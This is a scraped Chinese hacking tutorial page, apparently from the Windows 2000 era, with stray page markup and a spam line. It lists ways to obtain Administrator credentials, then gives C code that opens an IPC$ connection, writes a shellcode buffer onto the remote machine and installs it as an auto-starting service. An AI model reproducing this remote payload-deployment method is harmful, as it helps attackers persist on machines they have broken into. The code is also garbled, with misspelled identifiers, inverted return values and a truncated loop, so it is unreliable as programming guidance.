<form id="hz9zz"></form>
  • <form id="hz9zz"></form>

      <nobr id="hz9zz"></nobr>

      <form id="hz9zz"></form>

    1. 明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

      C\C++創建IPC連接之后續設置

      [摘要]如何建立IPC連接呢?不用我說,大家都知道:   net use \\ip\\ipc password /user:user。在這里,我們應想辦法得到Administrator的權限的帳戶和密碼,方...
      如何建立IPC連接呢?不用我說,大家都知道:

        net use \\ip\\ipc$ password /user:user。在這里,我們應想辦法得到Administrator的權限的帳戶和密碼,方法有很多:

       、帕鞴鈷呙

       、芅ULL.printer緩沖區溢出

        ⑶MS SQL空密碼

       、萓nicode漏洞

       、蛇h程終端輸入法漏洞

       、蔵dq.dll漏洞

        ……太多了!具體方法我就不說了。

        得到Windows 2k administrator權限以后,可以做什么呢?想做什么就做什么唄!裝什么服務的,當然是自己寫的服務程序啦!你看s如何呢?下面就從編程的角度的來談談,讀者要有一定的網絡編程基礎,同時有的地方沒給出錯誤檢查,有部分代碼是參考別人的。一些函數和結構請參考MSDN。不足之處還請讀者自己完善,也可以和我交流:heavyd@cngale.com。下面請看:

        1、如何建立IPC連接,請看以下代碼:

      BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
      { char tmp[128]="\\\\";
       strcat(tmp,RemoteName);
       strcat(tmp,"\\ipc$");
       NETRESOUCE NetResouce;
       NetResouce.lpRemoteName=tmp;
       NetResouce.dwType=RESOURCETYPE_ANY;
       NetResouce.lpProvider=NULL;
       if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
        //建立連接!
        return FALSE;
       else
        return TRUE;
      }

        是不是很簡單?對!就這么簡單!那么,接著來吧!
      2、開始把程序寫到主機上吧!

      BOOL SendFile(char *RemotePathAndFile)
      {
       HANDLE hRF;
       unsigned char ShellCode[]="write code here,such as \x90\x90";
       int WrittenSize=0;
       int Lenth=sizeof(ShellCode);
       hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
       CREATE_ALWAYS,
       FILE_ATTRIBUTE_NORMAL,
       NUL L);//建立文件
      if (hRF==INVALID_HANDLE_values) return FALSE;
      //寫文件過程:
      for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
      return FALSE;
      Printf("Send file succeed!\n");
      }


        3、就要成功了,最后一步啦!--啟動服務!

        步驟:a、啟動服務控制管理器(SCM),獲得以SCM_HANDLE為類型的hSCM句柄;

           b、建立服務(CreateService),也是返回SCM_HANDLE型的句柄hSCS;

           c、啟動服務(StartService)

           d、順便提提:ControService可以控制服務的狀態

           如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);

             //停止服務

             ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);

             //暫停服務

        請看下面代碼:

      BOOL InstallService(char * Target,char * ServiceName,char * Filename,)
      {
      SC_HANDLE hSCM=NULL,hSCS=NULL;
      SERVICE_STATUS ServiceStatus;
      hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_ACCESS);
      hSCS=CreateService(hSCM, //句柄
      ServiceName,//服務開始名
      ServiceName,//顯示服務名
      SERVICE_ALL_ACCESS,//服務訪問類型
      SERVICE_WIN32_OWN_PROCESS,//服務類型
      SERVICE_AUTO_START,//自動啟動服務
      SERVICE_ERROR_IGNORE,//忽略錯誤
      FileName,//啟動的文件名
      NULL,//name of load ordering group (載入組名)
      NULL,//標簽標識符
      NULL,//相關性數組名
      NULL,//帳戶(當前)
      NULL);//密碼(當前)

      if(StartServic(hSCS,
      argc,//參數數
      argv);//參數
      {
       Sleep(30);//延時,開始啟動服務
      while(QueryServiceStatus(hSCS,&ServiceStatus)
      {
      if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
      Sleep(30);
      else break;
      }
      if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
      return TRUE;
      else FALSE;
      }
      }


        好了,終于完成了這三步,大家可以慢慢享受自己的勞動成果了!

        注意:以上程序僅供參考,請在自己理解以后自己把它們寫成完整的程序,不要直接照搬!


      日韩精品一区二区三区高清